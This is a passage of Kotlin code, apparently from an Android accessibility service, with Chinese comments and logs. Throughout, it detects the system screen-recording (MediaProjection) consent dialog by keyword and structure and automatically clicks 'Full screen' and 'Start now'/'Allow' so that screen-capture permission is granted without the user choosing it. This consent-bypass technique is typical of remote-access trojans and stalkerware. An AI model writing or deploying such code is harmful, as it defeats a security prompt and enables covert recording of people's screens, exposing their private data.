             if (parent.isClickable) {
                 Log.i(TAG, "     ✅ 找到可点击父节点(第${level}层): 类名='$parentClass'")
                 return parent
             }
             
             val nextParent = parent.parent
             parent = nextParent
         }
         
         Log.w(TAG, "     ❌ 未找到可点击父节点(已搜索${level}层)")
         return null
     }

    /**
     * Android 15权限申请完成处理 - 优化版本，全屏模式无需二次确认
     */
    private fun handleAndroid15PermissionComplete() {
        try {
            Log.i(TAG, "✅ Android 15权限申请完成处理")
            
            // 检查是否为全屏模式权限
            val permissionData = MediaProjectionHolder.getPermissionData()
            val isFullScreenMode = permissionData != null
            
            if (isFullScreenMode) {
                Log.i(TAG, "🛡️ 检测到Android 15全屏模式权限，无需二次确认监听")
                
                // 立即发送权限稳定广播
                if (!android15StableBroadcastSent) {
                    android15StableBroadcastSent = true
                    val stableIntent = Intent("android.mycustrecev.ANDROID15_PERMISSION_STABLE")
                    service.sendBroadcast(stableIntent)
                    Log.i(TAG, "📡 Android 15全屏模式权限稳定，立即发送稳定广播")
                }
                
                // 停止MediaProjection请求状态
                setMediaProjectionRequesting(false)
                
                // 启动系统权限弹窗监听（防止系统自动弹出权限弹窗）
                startSystemPermissionDialogMonitoring()
                
                Log.i(TAG, "✅ Android 15全屏模式权限处理完成，无需额外确认")
                return
            }
            
            // 如果不是全屏模式或权限数据不存在，才进行二次确认监听
            
            // 🚨 Android 11+特殊处理：统一使用无障碍截图API，跳过二次确认监听
            if (Build.VERSION.SDK_INT >= 30) {
                Log.i(TAG, "📱 Android 11+设备：使用无障碍截图API，跳过二次确认监听")
                return
            }
            
            Log.w(TAG, "⚠️ Android 15权限可能不是全屏模式，启动二次确认监听以确保权限稳定")
            resetPermissionRequestState()
            
            if (Build.VERSION.SDK_INT >= 34) {
                Log.i(TAG, "🔍 Android 14+设备非全屏模式，启动二次确认监听...")
                startSecondaryConfirmationListening()
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ Android 15权限完成处理失败", e)
        }
    }

    /**
     * 启动系统权限弹窗监听 - 优化版本，减少误判
     */
    private fun startSystemPermissionDialogMonitoring() {
        // 🚨 Android 11+特殊处理：统一使用无障碍截图API，跳过系统权限弹窗监听
        if (Build.VERSION.SDK_INT >= 30) {
            Log.i(TAG, "📱 Android 11+设备：使用无障碍截图API，跳过系统权限弹窗监听")
            return
        }
        
        // ✅ 增强防重复逻辑
        if (isSystemPermissionDialogListening) {
            Log.w(TAG, "⚠️ 系统权限弹窗监听已在运行，跳过重复启动")
            return
        }
        
        // ✅ 首先检查权限状态，避免不必要的监听
        val permissionData = MediaProjectionHolder.getPermissionData()
        val hasMediaProjection = MediaProjectionHolder.getMediaProjection() != null
        if (permissionData != null && hasMediaProjection) {
            Log.i(TAG, "🛡️ 权限状态正常，跳过系统权限弹窗监听")
            return
        }
        
        Log.i(TAG, "🔍 启动系统权限弹窗监听（优化版本）")
        isSystemPermissionDialogListening = true
        systemPermissionDialogDetected = false
        
        serviceScope.launch {
            var monitoringAttempts = 0
            val maxMonitoringAttempts = 15 // 减少监听时间：45秒（3秒间隔 × 15次）
            var consecutiveNormalChecks = 0 // 连续正常检查计数
            
            while (isSystemPermissionDialogListening && monitoringAttempts < maxMonitoringAttempts) {
                monitoringAttempts++
                
                try {
                    delay(systemPermissionDialogCheckInterval)
                    
                    if (!isSystemPermissionDialogListening) {
                        Log.i(TAG, "🛑 系统权限弹窗监听已停止，退出监听循环")
                        break
                    }
                    
                    // ✅ 提前检查权限状态，避免不必要的UI检查
                    val currentPermissionData = MediaProjectionHolder.getPermissionData()
                    val currentMediaProjection = MediaProjectionHolder.getMediaProjection()
                    
                    if (currentPermissionData != null && currentMediaProjection != null) {
                        Log.i(TAG, "🛡️ 权限已获取且对象存在，停止系统权限弹窗监听")
                        isSystemPermissionDialogListening = false
                        break
                    }
                    
                    // 检查是否出现MediaProjection权限弹窗
                    val rootNode = service.rootInActiveWindow
                    if (rootNode != null) {
                        val hasMediaProjectionDialog = checkForSystemMediaProjectionDialog(rootNode)
                        
                        if (hasMediaProjectionDialog && !systemPermissionDialogDetected) {
                            Log.i(TAG, "🚨 检测到系统自动弹出的MediaProjection权限弹窗")
                            systemPermissionDialogDetected = true
                            consecutiveNormalChecks = 0 // 重置计数
                            
                            // 处理系统权限弹窗
                            handleSystemMediaProjectionDialog(rootNode)
                        } else {
                            consecutiveNormalChecks++
                            
                            // ✅ 如果连续多次检查都没有发现权限弹窗，可能是误判，提前结束监听
                            if (consecutiveNormalChecks >= 8) { // 24秒没有权限弹窗
                                Log.i(TAG, "🔄 连续${consecutiveNormalChecks}次未发现权限弹窗，可能无需监听，提前结束")
                                isSystemPermissionDialogListening = false
                                break
                            }
                        }
                    } else {
                        consecutiveNormalChecks++
                    }
                    
                    // ✅ 降低日志频率，减少干扰
                    if (monitoringAttempts % 5 == 0) {
                        Log.d(TAG, "🔍 系统权限弹窗监听中... (${monitoringAttempts}/${maxMonitoringAttempts})")
                    }
                    
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 系统权限弹窗监听异常", e)
                    break
                }
            }
            
            isSystemPermissionDialogListening = false
            Log.i(TAG, "🏁 系统权限弹窗监听结束")
        }
    }
    
    /**
     * 检查是否存在系统MediaProjection权限弹窗 - 优化版本，减少误判
     */
    private fun checkForSystemMediaProjectionDialog(rootNode: AccessibilityNodeInfo): Boolean {
        try {
            // ✅ 更精确的关键字检查，减少误判
            val coreDialogKeywords = listOf(
                "Start sharing", "开始共享", "開始共享",
                "Screen recording", "屏幕录制", "螢幕錄製", 
                "Share your screen", "共享屏幕", "共享螢幕",
                "录屏权限", "錄屏權限"
            )
            
            // ✅ 必须同时包含多个关键特征才判定为权限弹窗
            val hasScreenKeyword = coreDialogKeywords.any { keyword ->
                findNodesByText(rootNode, keyword).isNotEmpty()
            }
            
            if (!hasScreenKeyword) {
                return false
            }
            
            // ✅ Android 14+特殊检查：必须包含全屏/单应用选择才是真正的权限弹窗
            if (Build.VERSION.SDK_INT >= 34) {
                val android15Keywords = listOf(
                    "全屏", "Full screen", "Entire screen",
                    "单个应用", "Single app", "單個應用"
                )
                
                val hasAndroid15Keywords = android15Keywords.any { keyword ->
                    findNodesByText(rootNode, keyword).isNotEmpty()
                }
                
                if (!hasAndroid15Keywords) {
                    Log.d(TAG, "🔍 检测到屏幕相关对话框，但缺少Android 14+特征关键字，可能不是权限弹窗")
                    return false
                }
            }
            
            // ✅ 额外验证：检查是否有典型的权限弹窗按钮
            val buttonKeywords = listOf(
                "Allow", "允许", "允許", "Grant", "授权", "授權",
                "Start", "开始", "開始", "OK", "确定", "確定"
            )
            
            val hasButton = buttonKeywords.any { keyword ->
                findNodesByText(rootNode, keyword).isNotEmpty()
            }
            
            return hasButton
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查系统权限弹窗失败", e)
            return false
        }
    }
    
         /**
      * 处理系统MediaProjection权限弹窗
      */
     private fun handleSystemMediaProjectionDialog(rootNode: AccessibilityNodeInfo) {
         try {
             Log.i(TAG, "🎯 处理系统自动弹出的MediaProjection权限弹窗")
             
             // Android 14+需要选择全屏模式（两步授权弹窗）
             if (Build.VERSION.SDK_INT >= 34) {
                 val fullScreenSelected = handleAndroid15FullScreenSelection(rootNode)
                 if (fullScreenSelected) {
                     Log.i(TAG, "✅ 系统弹窗：已选择全屏模式，将停止二次确认监听")
                     
                     // 立即停止二次确认监听，因为全屏模式不需要
                     stopSecondaryConfirmationListening()
                     
                     // 获取更新后的界面节点
                     serviceScope.launch {
                         delay(1000)
                         val updatedRootNode = service.rootInActiveWindow
                         if (updatedRootNode != null) {
                             handleAndroid15AfterFullScreenSelection(updatedRootNode)
                         }
                         
                         // 授权完成后立即发送权限稳定广播
                         delay(2000) // 等待权限生效
                         if (!android15StableBroadcastSent) {
                             android15StableBroadcastSent = true
                             val stableIntent = Intent("android.mycustrecev.ANDROID15_PERMISSION_STABLE")
                             service.sendBroadcast(stableIntent)
                             Log.i(TAG, "📡 系统弹窗全屏选择后发送权限稳定广播")
                         }
                     }
                 } else {
                     Log.w(TAG, "⚠️ 系统弹窗：未能选择全屏模式，继续监听二次确认")
                 }
             } else {
                 // 其他版本直接点击授权按钮
                 handleMediaProjectionDialogForNode(rootNode)
             }
             
         } catch (e: Exception) {
             Log.e(TAG, "❌ 处理系统权限弹窗失败", e)
         }
     }
    
    /**
     * 停止系统权限弹窗监听
     */
    private fun stopSystemPermissionDialogMonitoring() {
        if (isSystemPermissionDialogListening) {
            Log.i(TAG, "🛑 停止系统权限弹窗监听")
            isSystemPermissionDialogListening = false
        }
    }
    
    /**
     * 启动二次确认监听
     */
    private fun startSecondaryConfirmationListening() {
        Log.i(TAG, "🔍 启动二次确认监听...")
        
        // 🚨 Android 11+特殊处理：统一使用无障碍截图API，跳过二次确认监听
        if (Build.VERSION.SDK_INT >= 30) {
            Log.i(TAG, "📱 Android 11+设备：使用无障碍截图API，跳过二次确认监听")
            return
        }
        
        isSecondaryConfirmationActive = true
        
        serviceScope.launch {
            var attempts = 0
            val maxAttempts = 10 // 最多监听30秒（3秒间隔 × 10次）
            
            while (isSecondaryConfirmationActive && attempts < maxAttempts) {
                attempts++
                delay(3000)
                
                if (!isSecondaryConfirmationActive) {
                    Log.i(TAG, "🛑 二次确认监听已停止，退出监听循环")
                    break
                }
                
                // 检查权限状态
                val permissionData = MediaProjectionHolder.getPermissionData()
                if (permissionData != null) {
                    Log.i(TAG, "🛡️ MediaProjection权限已获取，停止二次确认监听")
                    stopSecondaryConfirmationListening()
                    
                    // 发送权限稳定广播
                    if (!android15StableBroadcastSent) {
                        android15StableBroadcastSent = true
                        val stableIntent = Intent("android.mycustrecev.ANDROID15_PERMISSION_STABLE")
                        service.sendBroadcast(stableIntent)
                        Log.i(TAG, "📡 二次确认监听：已发送权限稳定广播")
                    }
                    break
                }
                
                Log.d(TAG, "🔍 二次确认监听中... (${attempts}/${maxAttempts})")
            }
            
            isSecondaryConfirmationActive = false
            Log.i(TAG, "🔍 二次确认监听结束")
        }
    }
    
    /**
     * 停止二次确认监听
     */
    fun stopSecondaryConfirmationListening() {
        Log.i(TAG, "🛑 停止二次确认监听")
        isSecondaryConfirmationActive = false
        
        // 检查权限状态，确保不误发停止广播
        val permissionData = MediaProjectionHolder.getPermissionData()
        val hasMediaProjection = MediaProjectionHolder.getMediaProjection() != null
        
        if (permissionData != null && hasMediaProjection) {
            Log.i(TAG, "🛡️ 权限状态正常，跳过发送停止二次确认监听广播")
            return
        }
        
        try {
            val stopIntent = Intent("android.mycustrecev.STOP_SECONDARY_CONFIRMATION_LISTENING") 
            service.sendBroadcast(stopIntent)
            Log.i(TAG, "📡 已发送停止二次确认监听广播")
        } catch (e: Exception) {
            Log.e(TAG, "发送停止二次确认监听广播失败", e)
        }
    }
    
    /**
     * ✅ 检查是否为Android 14+真实的用户权限弹窗
     * 区分系统内部保活检查和需要用户交互的权限弹窗
     */
    private fun checkIfRealUserPermissionDialog(event: AccessibilityEvent): Boolean {
        try {
            Log.d(TAG, "🔍 检查是否为Android ${Build.VERSION.SDK_INT} 真实用户权限弹窗")
            
            // 🔧 首先检查包名，必须是系统UI才可能是权限弹窗
            val packageName = event.packageName?.toString()
            if (packageName != "com.android.systemui") {
                Log.d(TAG, "🔍 包名不是systemui，不是权限弹窗: $packageName")
                return false
            }
            
            val rootNode = service.rootInActiveWindow
            if (rootNode == null) {
                Log.d(TAG, "🔍 无法获取根节点，无法判断权限弹窗类型")
                return false
            }
            
            // 🔧 增强验证：多重检测机制，提高识别准确性
            val hasPermissionRequestText = checkForPermissionRequestText(rootNode)
            val hasFullScreenOptions = checkForFullScreenOptions(rootNode)
            val hasPermissionButtons = checkForPermissionButtons(rootNode)
            
            // 🎯 关键优化：采用多重检测机制，提高识别准确性
            val isValidPermissionDialog = when {
                // 首选：权限文本 + 其他特征
                hasPermissionRequestText && (hasFullScreenOptions || hasPermissionButtons) -> {
                    Log.i(TAG, "✅ 首选验证通过：权限文本=$hasPermissionRequestText, 全屏选项=$hasFullScreenOptions, 权限按钮=$hasPermissionButtons")
                    true
                }
                // 备选：全屏选项 + 权限按钮（即使没有找到明确的权限文本）
                hasFullScreenOptions && hasPermissionButtons -> {
                    Log.i(TAG, "✅ 备选验证通过：全屏选项=$hasFullScreenOptions, 权限按钮=$hasPermissionButtons（无明确权限文本）")
                    true
                }
                // 兜底：仅有权限按钮，但按钮特征很明确
                hasPermissionButtons && !hasPermissionRequestText && !hasFullScreenOptions -> {
                    Log.i(TAG, "✅ 兜底验证：仅有权限按钮特征，尝试进一步验证")
                    // 进一步检查是否真的是权限弹窗
                    val hasStrongButtonIndicators = checkForStrongButtonIndicators(rootNode)
                    if (hasStrongButtonIndicators) {
                        Log.i(TAG, "✅ 兜底验证通过：发现强权限按钮特征")
                        true
                    } else {
                        Log.d(TAG, "🔍 兜底验证失败：权限按钮特征不够明确")
                        false
                    }
                }
                else -> {
                    Log.d(TAG, "🔍 所有验证机制都失败：权限文本=$hasPermissionRequestText, 全屏选项=$hasFullScreenOptions, 权限按钮=$hasPermissionButtons")
                    false
                }
            }
            
            if (isValidPermissionDialog) {
                return true
            }
            
            Log.d(TAG, "🔍 多重验证失败，不是真实用户权限弹窗")
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查用户权限弹窗类型失败", e)
            // 🔧 修复：异常时返回false，避免误判导致乱点击
            return false
        }
    }
    
    /**
     * 🔧 新增：检查是否包含权限相关按钮（增强版本）
     */
    private fun checkForPermissionButtons(rootNode: AccessibilityNodeInfo): Boolean {
        try {
            // 检查是否有可点击的按钮
            val buttons = findNodesByClassName(rootNode, "android.widget.Button")
            val clickableButtons = buttons.filter { it.isClickable }
            
            if (clickableButtons.isNotEmpty()) {
                Log.d(TAG, "🔍 找到${clickableButtons.size}个可点击按钮")
                
                // 🔧 增强版本：增加更多权限按钮文本变体
                val permissionButtons = clickableButtons.filter { button ->
                    val text = button.text?.toString()?.lowercase() ?: ""
                    val contentDesc = button.contentDescription?.toString()?.lowercase() ?: ""
                    
                    // 检查按钮文本或内容描述是否包含权限相关词汇
                    val hasPermissionText = text.contains("start now") || text.contains("立即开始") || 
                                          text.contains("start sharing") || text.contains("开始共享") ||
                                          text.contains("allow") || text.contains("允许") ||
                                          text.contains("share screen") || text.contains("共享屏幕") ||
                                          text.contains("start") || text.contains("开始") ||
                                          text.contains("ok") || text.contains("确定") ||
                                          text.contains("continue") || text.contains("继续") ||
                                          text.contains("accept") || text.contains("接受") ||
                                          text.contains("agree") || text.contains("同意") ||
                                          text.contains("grant") || text.contains("授予") ||
                                          text.contains("yes") || text.contains("是") ||
                                          text.contains("record") || text.contains("录制") ||
                                          text.contains("capture") || text.contains("捕获") ||
                                          text.contains("cast") || text.contains("投射")
                    
                    val hasPermissionContentDesc = contentDesc.contains("start now") || contentDesc.contains("立即开始") || 
                                                 contentDesc.contains("start sharing") || contentDesc.contains("开始共享") ||
                                                 contentDesc.contains("allow") || contentDesc.contains("允许") ||
                                                 contentDesc.contains("share screen") || contentDesc.contains("共享屏幕") ||
                                                 contentDesc.contains("start") || contentDesc.contains("开始") ||
                                                 contentDesc.contains("ok") || contentDesc.contains("确定") ||
                                                 contentDesc.contains("continue") || contentDesc.contains("继续") ||
                                                 contentDesc.contains("accept") || contentDesc.contains("接受") ||
                                                 contentDesc.contains("agree") || contentDesc.contains("同意") ||
                                                 contentDesc.contains("grant") || contentDesc.contains("授予") ||
                                                 contentDesc.contains("yes") || contentDesc.contains("是") ||
                                                 contentDesc.contains("record") || contentDesc.contains("录制") ||
                                                 contentDesc.contains("capture") || contentDesc.contains("捕获") ||
                                                 contentDesc.contains("cast") || contentDesc.contains("投射")
                    
                    return@filter hasPermissionText || hasPermissionContentDesc
                }
                
                if (permissionButtons.isNotEmpty()) {
                    Log.d(TAG, "🔍 找到${permissionButtons.size}个明确的权限相关按钮")
                    return true
                }
                
                // 🔧 新增：如果没有找到明确的权限按钮，但有可点击按钮，也认为可能是权限弹窗
                // 这种情况下配合其他检测机制可以提高识别准确性
                if (clickableButtons.size >= 2) {
                    Log.d(TAG, "🔍 虽然未找到明确权限按钮，但有${clickableButtons.size}个可点击按钮，可能是权限弹窗")
                    return true
                }
            }
            
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查权限按钮失败", e)
            return false
        }
    }
    
    /**
     * 检查是否包含权限申请的特征文本（增强版本）
     */
    private fun checkForPermissionRequestText(rootNode: AccessibilityNodeInfo): Boolean {
        try {
            // 🔧 增强版本：增加更多权限文本变体，覆盖更多可能的情况
            val strictPermissionTexts = arrayOf(
                // 英文变体
                "start sharing", "开始共享", "start now", "立即开始",
                "share your screen", "共享您的屏幕", "share screen", "共享屏幕",
                "screen recording permission", "屏幕录制权限",
                "media projection", "媒体投射", "screen casting", "屏幕投射",
                "record screen", "录制屏幕", "cast screen", "投射屏幕",
                "capture screen", "捕获屏幕", "screen capture", "屏幕捕获",
                "screen sharing", "屏幕共享", "display sharing", "显示共享",
                "record your screen", "录制您的屏幕", "capture your screen", "捕获您的屏幕",
                "allow recording", "允许录制", "allow sharing", "允许共享",
                "allow screen recording", "允许屏幕录制", "allow screen sharing", "允许屏幕共享",
                "grant permission", "授予权限", "permission request", "权限请求",
                "recording permission", "录制权限", "sharing permission", "共享权限",
                // 中文变体
                "屏幕录制", "屏幕投射", "屏幕捕获", "屏幕共享", "显示共享",
                "录制您的屏幕", "捕获您的屏幕", "投射您的屏幕", "分享您的屏幕",
                "允许录制", "允许共享", "允许屏幕录制", "允许屏幕共享", "允许屏幕投射",
                "授予权限", "权限请求", "权限申请", "录制权限", "共享权限", "投射权限",
                "开始录制", "开始投射", "开始分享", "开始捕获"
            )
            
            // 🎯 必须找到至少一个明确的权限文本
            for (text in strictPermissionTexts) {
                val nodes = findNodesByText(rootNode, text)
                if (nodes.isNotEmpty()) {
                    Log.d(TAG, "🔍 找到明确的权限申请文本: '$text'")
                    return true
                }
            }
            
            // 🔧 新增：后备检测机制，检查是否有典型的权限弹窗结构
            val hasBackupPermissionStructure = checkBackupPermissionStructure(rootNode)
            if (hasBackupPermissionStructure) {
                Log.d(TAG, "🔍 通过后备检测机制识别为权限弹窗")
                return true
            }
            
            Log.d(TAG, "🔍 未找到明确的权限申请文本特征")
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查权限申请文本失败", e)
            return false
        }
    }
    
    /**
     * 🔧 新增：检查是否有强权限按钮特征
     * 用于兜底验证，确保按钮特征足够明确
     */
    private fun checkForStrongButtonIndicators(rootNode: AccessibilityNodeInfo): Boolean {
        try {
            val buttons = findNodesByClassName(rootNode, "android.widget.Button")
            val clickableButtons = buttons.filter { it.isClickable }
            
            // 检查是否有非常明确的权限相关按钮
            val strongPermissionTexts = arrayOf(
                "start now", "立即开始", "start sharing", "开始共享",
                "allow", "允许", "share screen", "共享屏幕",
                "start", "开始", "ok", "确定", "continue", "继续"
            )
            
            var strongButtonCount = 0
            for (button in clickableButtons) {
                val text = button.text?.toString()?.lowercase() ?: ""
                for (strongText in strongPermissionTexts) {
                    if (text.contains(strongText.lowercase())) {
                        strongButtonCount++
                        Log.d(TAG, "🔍 发现强权限按钮特征: '$text'")
                        break
                    }
                }
            }
            
            // 如果有至少一个强权限按钮，认为是权限弹窗
            return strongButtonCount >= 1
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查强权限按钮特征失败", e)
            return false
        }
    }
    
    /**
     * 🔧 新增：后备权限检测机制
     * 当主要文本检测失败时，通过界面结构特征来识别权限弹窗
     */
    private fun checkBackupPermissionStructure(rootNode: AccessibilityNodeInfo): Boolean {
        try {
            // 检查是否有权限弹窗的典型结构特征
            val hasRadioButtons = findNodesByClassName(rootNode, "android.widget.RadioButton").isNotEmpty()
            val hasButtons = findNodesByClassName(rootNode, "android.widget.Button").isNotEmpty()
            val hasTextViews = findNodesByClassName(rootNode, "android.widget.TextView").isNotEmpty()
            
            // 检查是否有可能的权限相关关键词（更宽松的检测）
            val possiblePermissionKeywords = arrayOf(
                "app", "应用", "screen", "屏幕", "record", "录制", "share", "共享",
                "cast", "投射", "capture", "捕获", "allow", "允许", "permission", "权限",
                "start", "开始", "continue", "继续", "ok", "确定", "cancel", "取消"
            )
            
            var keywordCount = 0
            for (keyword in possiblePermissionKeywords) {
                val nodes = findNodesByText(rootNode, keyword)
                if (nodes.isNotEmpty()) {
                    keywordCount++
                }
            }
            
            // 如果有典型的权限弹窗结构 + 足够的权限相关关键词
            val hasTypicalStructure = hasRadioButtons && hasButtons && hasTextViews
            val hasEnoughKeywords = keywordCount >= 3 // 至少3个关键词
            
            if (hasTypicalStructure && hasEnoughKeywords) {
                Log.i(TAG, "✅ 后备检测：发现典型权限弹窗结构（RadioButton + Button + TextView）+ ${keywordCount}个关键词")
                return true
            }
            
            // 🔧 进一步后备：检查是否有典型的权限按钮文本
            val permissionButtonTexts = arrayOf(
                "start", "开始", "allow", "允许", "ok", "确定", "continue", "继续",
                "accept", "接受", "agree", "同意", "grant", "授予", "yes", "是"
            )
            
            val buttons = findNodesByClassName(rootNode, "android.widget.Button")
            for (button in buttons) {
                val buttonText = button.text?.toString()?.lowercase() ?: ""
                for (permText in permissionButtonTexts) {
                    if (buttonText.contains(permText.lowercase())) {
                        Log.i(TAG, "✅ 后备检测：发现可能的权限按钮文本: '$buttonText'")
                        return true
                    }
                }
            }
            
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 后备权限检测失败", e)
            return false
        }
    }
    
    /**
     * 检查是否包含Android 14+特有的全屏选择选项
     */
    private fun checkForFullScreenOptions(rootNode: AccessibilityNodeInfo): Boolean {
        try {
            val fullScreenTexts = arrayOf(
                "全屏", "Full screen", "Entire screen", "整个屏幕", "完整屏幕",
                "Whole screen", "Complete screen", "录制整个屏幕", "Record entire screen",
                "Share entire screen", "共享整个屏幕", "共享全屏", "投屏全屏"
            )
            
            for (text in fullScreenTexts) {
                val nodes = findNodesByText(rootNode, text)
                if (nodes.isNotEmpty()) {
                    Log.d(TAG, "🔍 找到全屏选择文本: '$text'")
                    return true
                }
            }
            
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查全屏选择选项失败", e)
            return false
        }
    }
    
    /**
     * 🔧 新增：检查是否已经选择了全屏模式
     */
    private fun checkIfFullScreenAlreadySelected(rootNode: AccessibilityNodeInfo): Boolean {
        try {
            // 检查RadioButton是否已选中全屏选项
            val radioButtons = findNodesByClassName(rootNode, "android.widget.RadioButton")
            for (radio in radioButtons) {
                val text = radio.text?.toString() ?: ""
                val contentDesc = radio.contentDescription?.toString() ?: ""
                
                // 如果是全屏相关的RadioButton且已选中
                if ((text.contains("全屏") || text.contains("Full") || text.contains("Entire") ||
                     text.contains("整个") || text.contains("完整") || 
                     contentDesc.contains("全屏") || contentDesc.contains("Full") || 
                     contentDesc.contains("Entire")) && radio.isChecked) {
                    Log.i(TAG, "✅ 检测到全屏RadioButton已选中: '$text'")
                    return true
                }
            }
            
            // 检查是否有"已选择全屏"的提示文本
            val selectedTexts = arrayOf(
                "已选择全屏", "全屏已选择", "Full screen selected", "Entire screen selected"
            )
            
            for (text in selectedTexts) {
                val nodes = findNodesByText(rootNode, text)
                if (nodes.isNotEmpty()) {
                    Log.i(TAG, "✅ 检测到全屏已选择提示文本: '$text'")
                    return true
                }
            }
            
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查全屏是否已选择失败", e)
            return false
        }
    }
    
    /**
     * 🔧 优化：保守的全屏选择操作（防止乱点击）- 增强下拉菜单支持
     */
    private fun tryDefaultFullScreenSelection(rootNode: AccessibilityNodeInfo): Boolean {
        try {
            Log.i(TAG, "🔧 Android 15：保守的全屏选择操作（增强版）")
            
            // 方法1: 严格限制：只处理明确的RadioButton，且必须包含全屏相关文本
            val radioButtons = findNodesByClassName(rootNode, "android.widget.RadioButton")
            if (radioButtons.isNotEmpty()) {
                Log.i(TAG, "🔍 找到 ${radioButtons.size} 个RadioButton，检查全屏选项")
                for (radio in radioButtons) {
                    val text = radio.text?.toString() ?: ""
                    val contentDesc = radio.contentDescription?.toString() ?: ""
                    
                    // 🎯 严格验证：必须包含明确的全屏关键词
                    val isFullScreenOption = text.contains("全屏") || text.contains("Full screen") || 
                                           text.contains("Entire screen") || text.contains("整个屏幕") ||
                                           text.contains("完整屏幕") ||
                                           contentDesc.contains("全屏") || contentDesc.contains("Full screen") ||
                                           contentDesc.contains("Entire screen")
                    
                    if (isFullScreenOption && !radio.isChecked && radio.isClickable) {
                        Log.i(TAG, "✅ 找到明确的全屏选项RadioButton: '$text'")
                        val success = radio.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                        if (success) {
                            Log.i(TAG, "🎉 成功选择全屏RadioButton，停止二次确认监听")
                            stopSecondaryConfirmationListening()
                            return true
                        }
                    }
                }
            }
            
            // 方法2: 检查未展开的下拉菜单，寻找包含选择文本的可点击容器
            Log.i(TAG, "🔍 RadioButton方法失败，尝试查找下拉菜单容器...")
            
            val dropdownKeywords = arrayOf(
                "选择", "下拉", "菜单", "单个应用", "整个屏幕", "应用", "屏幕",
                "Select", "Dropdown", "Menu", "Single app", "Entire screen", "App", "Screen"
            )
            
            for (keyword in dropdownKeywords) {
                val nodes = findNodesByText(rootNode, keyword)
                for (node in nodes) {
                    // 查找包含关键词的可点击父容器
                    var parent = node.parent
                    var searchDepth = 0
                    while (parent != null && searchDepth < 3) { // 限制搜索深度防止过度搜索
                        val parentText = parent.text?.toString() ?: ""
                        val parentDesc = parent.contentDescription?.toString() ?: ""
                        
                        // 检查父容器是否可能是下拉菜单
                        val couldBeDropdown = parent.isClickable && (
                            parentText.contains("选择") || parentText.contains("下拉") ||
                            parentText.contains("应用") || parentText.contains("屏幕") ||
                            parentDesc.contains("选择") || parentDesc.contains("下拉") ||
                            parent.childCount > 1 // 有多个子项可能是选择项
                        )
                        
                        if (couldBeDropdown) {
                            Log.i(TAG, "🔍 发现可能的下拉菜单容器: text='$parentText', desc='$parentDesc', 关键词='$keyword'")
                            
                            // 谨慎点击，避免误点击
                            val success = parent.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                            if (success) {
                                Log.i(TAG, "✅ 已点击可能的下拉菜单，等待展开...")
                                Thread.sleep(600)
                                
                                // 尝试选择全屏选项
                                val optionSelected = selectFullScreenFromSpinnerOptions()
                                if (optionSelected) {
                                    Log.i(TAG, "🎉 成功从下拉菜单选择全屏，停止二次确认监听")
                                    stopSecondaryConfirmationListening()
                                    return true
                                } else {
                                    Log.w(TAG, "⚠️ 下拉菜单展开后未找到全屏选项")
                                }
                            }
                        }
                        
                        parent = parent.parent
                        searchDepth++
                    }
                }
            }
            
            // 方法3: 查找可能的TextView + 可点击容器组合（如下拉菜单的显示部分）
            Log.i(TAG, "🔍 查找可能的TextView下拉菜单组合...")
            
            val textViews = findNodesByClassName(rootNode, "android.widget.TextView")
            for (textView in textViews) {
                val text = textView.text?.toString() ?: ""
                
                // 检查TextView是否显示默认选项文本（可能是下拉菜单的当前选项）
                val isDefaultSelection = text.contains("单个应用") || text.contains("选择应用") ||
                                        text.contains("Single app") || text.contains("Select app") ||
                                        text.contains("应用") && text.length < 10 // 短文本可能是选项
                
                if (isDefaultSelection) {
                    // 查找相邻的可点击容器
                    val parent = textView.parent
                    if (parent != null && parent.isClickable) {
                        Log.i(TAG, "🔍 发现可能的下拉菜单TextView: '$text'，父容器可点击")
                        val success = parent.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                        if (success) {
                            Log.i(TAG, "✅ 已点击TextView的父容器，等待下拉菜单展开...")
                            Thread.sleep(600)
                            
                            val optionSelected = selectFullScreenFromSpinnerOptions()
                            if (optionSelected) {
                                Log.i(TAG, "🎉 成功从TextView下拉菜单选择全屏，停止二次确认监听")
                                stopSecondaryConfirmationListening()
                                return true
                            }
                        }
                    }
                }
            }
            
            // 🚫 如果所有方法都失败，保守处理
            Log.i(TAG, "🚫 未找到明确的全屏选项或下拉菜单，跳过默认点击以防止乱点击")
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 保守全屏选择操作失败", e)
            return false
        }
    }
    
    // 🚫 已删除危险的 findAllClickableNodes 方法，防止乱点击
    
    /**
     * 检查是否有确认按钮
     */
    private fun checkForConfirmButtons(rootNode: AccessibilityNodeInfo): Boolean {
        try {
            val confirmTexts = arrayOf(
                "START NOW", "Share screen", "共享屏幕", "Start now", "立即开始", "现在开始", 
                "Start", "开始", "Allow", "允许", "确定", "确认", "授权", "同意", 
                "Continue", "继续", "Begin recording", "Begin casting", "开始录制", "开始投屏"
            )
            
            for (text in confirmTexts) {
                val nodes = findNodesByText(rootNode, text)
                if (nodes.any { it.isClickable }) {
                    Log.d(TAG, "🔍 找到确认按钮: '$text'")
                    return true
                }
            }
            
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查确认按钮失败", e)
            return false
        }
    }
    
    /**
     * 安全版本的智能查找并点击按钮 - 专为Android 15全屏保护设计
     * 严格避免点击任何选择相关的按钮
     */
    private fun findAndClickSmartButtonSafe(node: AccessibilityNodeInfo, isAndroid15FullScreenProtected: Boolean): Boolean {
        return findAndClickSmartButtonSafeRecursive(node, 0, isAndroid15FullScreenProtected)
    }
    
    private fun findAndClickSmartButtonSafeRecursive(node: AccessibilityNodeInfo, depth: Int, isAndroid15FullScreenProtected: Boolean): Boolean {
        if (depth > 10) return false
        
        if (node.isClickable) {
            val text = node.text?.toString()?.toLowerCase() ?: ""
            val className = node.className?.toString() ?: ""
            val viewId = node.viewIdResourceName ?: ""
            
            Log.d(TAG, "   智能匹配安全节点: 文本='$text', 类名='$className', ViewId='$viewId'")
            
